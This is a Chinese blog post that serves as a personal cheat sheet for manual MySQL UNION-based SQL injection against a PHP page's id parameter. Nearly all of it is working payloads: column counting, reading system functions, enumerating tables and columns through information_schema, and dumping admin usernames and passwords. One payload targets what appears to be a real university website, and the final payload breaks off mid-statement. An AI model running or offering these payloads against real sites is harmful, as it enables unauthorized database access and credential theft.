mysql手工注入语句记录

网上文章内容散乱,以一个实例整理出来以备以后使用,爆以下错误:

http://www.xxxx.com/show.php?id=-2292 union%20select%20@@version

爆以上错误说明字段数不匹配,需要用order by 语句来列出字段:

http://www.xxxx.com/show.php?id=-2292 order%20by%2015

错误返回"Unknown column ‘15’ in ‘order clause’",改后面的15一直到返回正确页面为止,之后使用下面的语句列出字段显示的位置:

http://www.xxxx.com/show.php?id=-2292 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14

其中14是刚刚返回正确页面时的数,如下图:

其中爆出来的数字可以替换成一些回显的信息,例如下面的语句:

http://www.xxxx.com/show.php?id=-2292 union select 1,2,user(),4,5,6,7,8,9,10,11,12,13,14

上面的语句将3替换成"user()",然后再页面上原来显示3的位置会显示出user()函数回显的结果:

可以看用以下几个函数:

  1. system_user() 系统用户名
  2. user() 用户名
  3. current_user 当前用户名
  4. session_user()连接数据库的用户名
  5. database() 数据库名
  6. version() MYSQL数据库版本
  7. load_file() MYSQL读取本地文件的函数
  8. @@datadir 读取数据库路径
  9. @@basedir MYSQL 安装路径
  10. @@version_compile_os 操作系统

我这里不是root,所以只能继续爆字段了,下面是爆字段和表段的内容,爆表段的语句是:

http://vehicle.dlut.edu.cn/show.php?id=-2292 union select 1,2, table_name,4,5,6,7,8,9,10,11,12,13,14 from (select * from information_schema.tables where table_schema=0x76656869636C65 order by table_schema limit 0,1)t limit 1–

其中如下图显示的结果,红色圈中的需要修改其中"0x76656869636C65"是数据库名的十六进制,其中的0是字段序号吧,以此累加爆出所有的字段:

爆标段也差不多,语句如下:

http://www.xxxx.com/show.php?id=-2292 union select 1,2, column_name,4,5,6,7,8,9,10,11,12,13,14 from (select * from information_schema.columns where table_name=0x61646D696E and table_schema=0x76656869636C65 order by 1 limit 0,1)t limit 1–

其中"0x61646D696E"是表名的十六进制,另外两个上面已经说过,不多说:

最后爆内容的语句:

http://www.xxxx.com/show.php?id=-2292+union+select+1,2,concat(name,0x5f,pwd),4,5,6,7,8,9,10,11,12,13,14+from+admin

其中的name和pwd都是字段内容,admin是表段,0x5f是"_"用于区分结果,如下图:

顺便贴几个抓包来的语句备用,爆全部表段:

http://www.xxxx.com/show.php?id=2292 and 1=2 union select 0,0,0,unhex(hex(concat(0x5e5e5e,group_concat(table_name),0x5e5e5e))),0,0,0,0,0,0,0,0 from (select * from (select * from information_schema.tables where table_schema=0x64626a786a order by table_schema limit 0,50) t order by table_schema desc)t –

上面0x5e5e5e是用来分隔用的,可以去掉,不过我直接复制上来了,可能以后会随时补充…
爆全部字段:

and 1=2 union select 0,0,0,unhex(hex(concat(0x5e5e5e,group_concat(column_name),0x5e5e5e))),0,0,0,0,0,0,0,0 from information_schema.columns w

转载请注明: 本文《mysql手工注入语句记录》来源于bstaint的博客

没有评论: